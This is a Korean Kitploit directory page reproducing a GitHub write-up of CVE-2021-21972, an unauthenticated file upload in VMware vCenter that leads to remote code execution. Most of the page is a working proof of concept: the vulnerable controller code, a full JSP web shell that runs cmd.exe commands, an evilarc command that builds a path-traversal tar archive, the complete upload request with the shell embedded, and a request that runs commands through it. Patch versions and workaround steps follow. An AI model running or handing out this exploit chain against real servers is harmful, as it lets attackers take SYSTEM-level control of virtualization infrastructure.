Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-21972 — [CVE-2021-21972] VMware vSphere Client 비인가 파일 업로드를 통한 원격 코드 실행 (RCE) | Kitploit
도구/GitHubGitHub/murataydemir/cve-2021-21972
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubmurataydemir/cve-2021-21972

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client 비인가 파일 업로드를 통한 원격 코드 실행 (RCE)

저장소 보기
615년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2021-21972] VMware vSphere Client 무단 파일 업로드를 통한 원격 코드 실행 (RCE)


vSphere Web Client(HTML5)는 본질적으로 vSphere 설치를 관리할 수 있는 관리 인터페이스입니다. vSphere Client는 관리자가 vSphere 서버에 직접 액세스하지 않고도 vSphere의 핵심 기능에 액세스할 수 있게 해줍니다. 관리자는 새 가상 머신을 생성하고 기존 가상 머신 및 해당 리소스를 관리할 수 있습니다. 크로스 플랫폼 웹 애플리케이션으로서 지원되는 다양한 웹 브라우저 버전을 통해 모든 지원 운영 체제에서 사용할 수 있습니다.

CVE-2021-21972는 vCenter Server의 무단 파일 업로드 취약점으로, 원격 서버에서 원격 코드 실행으로 이어집니다. 이 문제는 vRealize Operations vCenter Plugin의 인증 부재에서 비롯되었습니다. CVSSv3 기준 10.0점 만점에 9.8점의 치명적인 점수를 받았습니다. 인증되지 않은 원격 공격자는 공개적으로 액세스 가능한 취약한 vCenter Server 엔드포인트에 특수하게 제작된 파일을 업로드하여 이 취약점을 악용할 수 있습니다. VMware vCenter Server 버전 6.5, 6.7 및 7.0이 이 취약점의 영향을 받습니다. 이 취약점을 성공적으로 악용하면 공격자는 vCenter Server의 기본 운영 체제에서 제한 없는 원격 코드 실행(RCE) 권한을 획득하게 됩니다. 이 취약점이 vRealize Operations vCenter Plugin에서 비롯되었음에도 불구하고, VMware 권고는 이 플러그인이 vCenter Server의 모든 기본 설치에 포함되어 있음을 확인합니다. 즉, vRealize Operations의 존재 여부와 관계없이 취약한 엔드포인트를 사용할 수 있습니다.

원본 블로그 게시물 여기에서 취약점 발견 과정과 RCE를 달성하는 두 가지 별도 경로가 가능한 한 자세히 설명되어 있습니다. Windows 시스템의 경우 공격자는 특수하게 제작된 .jsp 파일을 업로드하여 기본 운영 체제에서 NT AUTHORITY\SYSTEM 권한을 획득할 수 있습니다. Linux 시스템의 경우 공격자는 공개 키를 생성하여 서버의 authorized_keys 경로에 업로드한 다음 SSH를 통해 취약한 서버에 연결하여 vsphere-ui 사용자 권한을 획득해야 합니다. (SSH 서비스가 실행 중이고 네트워크를 통해 액세스 가능한 경우)

vropsplugin-service.jar는 vropspluginui 플러그인의 Java 아카이브 파일이며 일부 클래스와 기타 관련 함수 및 메서드를 포함합니다. 취약한 코드 부분은 아래와 같습니다. 이 코드 조각은 vropsplugin-service.jar의 컨트롤러에 있는 ServicesController.class에 속합니다. 아래 코드 조각에서 볼 수 있듯이 uploadOvaFile 함수는 /ui/vropspluginui/rest/services/uploadova 엔드포인트/URL을 담당합니다.

취약한 클래스의 전체 경로: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

공격자 관점에서 이 클래스의 핸들러는 다음 작업을 수행합니다.

  • POST 메서드 요청으로 uploadFile 매개변수 수신 (2행)
  • uploadFile 매개변수를 읽고 이 매개변수의 내용을 inputStream 변수에 기록 (22행)
  • 결과 데이터를 .tar 아카이브로 열기 (34행)
  • 아카이브의 모든 항목 검색 (35행)
  • 파일 명명 규칙 /tmp/unicorn_ova_dir + entry.getName()을 사용하여 각 현재 항목의 복사본을 디스크에 생성 (42행 및 47행)

개념 증명(PoC): 이 취약점을 악용하려면 다음 단계를 사용할 수 있습니다.

  1. 취약점 확인
  2. ../../ 문자열을 포함하는 .tar 아카이브 항목 생성
  3. 제작된 아카이브 파일을 서버에 업로드
  4. 관련 경로로 이동하여 업로드한 파일 /statsreport/uploadedFileName.jsp 호출

취약점을 확인하려면 다음 요청을 사용할 수 있습니다.

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

위 요청에 대한 응답이 아래 응답과 유사하면 원격 호스트가 CVE-2021-21972에 취약하다는 의미입니다.

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

그 후 제작된 .tar 파일을 만들어야 합니다. 이를 위해 evilarc를 사용할 수 있습니다. Evilarc는 포함된 경로에 디렉터리 트래버설 문자가 포함된 파일이 들어 있는 zip 파일을 생성할 수 있는 기본적인 Python 스크립트입니다.

기본적으로 웹셸인 cmdjsp.jsp의 내용

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

다음 명령을 사용하여 제작된 .tar 아카이브 파일이 생성됩니다.

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

그런 다음 다음 요청을 사용하여 .tar 파일을 서버에 업로드하기만 하면 됩니다.

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

위 요청에 대한 응답은 아래와 같습니다.

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
스크린샷 2021-04-06 19:11:52

위 요청의 응답 상태 코드가 200 OK이고 본문이 SUCCESS이면 .tar 아카이브 파일이 ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport 경로에 성공적으로 업로드된 것입니다. 애플리케이션의 흐름에 따라 서버는 .tar 파일을 /statsreport 디렉터리에 추출합니다. 이 단계 이후에는 NT AUTHORITY\SYSTEM 권한으로 원격 코드 실행을 위해 다음 GET 요청만 수행하면 됩니다.

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

해결 방법(Workaround): VMware는 7.0 U1c, 6.7 U3l 및 6.5 U3n 버전에서 이 취약점을 각각 수정했습니다. 그러나 패치를 설치할 수 없는 경우 Windows 기반 vCenter Server 배포에서 CVE-2021-21972 및 CVE-2021-21973에 대한 해결 방법을 구현하려면 다음 단계를 수행하십시오:

  1. Windows 기반 vCenter Server에 RDP로 연결합니다.
  2. 파일을 백업합니다: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. 텍스트 편집기에서 compatibility-matrix.xml 파일을 엽니다.
  4. pluginsCompatibility 요소에 다음 줄을 추가합니다: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. 다음 명령을 사용하여 vsphere-ui 서비스를 중지하고 다시 시작합니다.
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. 그 후 VMware vROPS Client 플러그인은 Administration > Solutions > client-plugins 아래에서 "incompatible"(호환되지 않음)로 표시됩니다.

Linux 기반 가상 어플라이언스(vCSA)에서 CVE-2021-21972 및 CVE-2021-21973에 대한 해결 방법을 구현하려면 다음 단계를 수행하십시오:

  1. SSH 세션과 root 자격 증명을 사용하여 vCSA에 연결합니다.
  2. 파일을 백업합니다: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. 텍스트 편집기에서 compatibility-matrix.xml 파일을 엽니다.
  4. pluginsCompatibility 요소에 다음 줄을 추가합니다: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. 다음 명령을 사용하여 vsphere-ui 서비스를 중지하고 다시 시작합니다.
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

이 취약점은 Positive Technologies의 Mikhail Klyuchnikov에 의해 발견되었으며, 원본 연구 게시물은 여기에서 확인할 수 있습니다.

자세한 내용은 다음 페이지를 방문하십시오.

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

도구 다운로드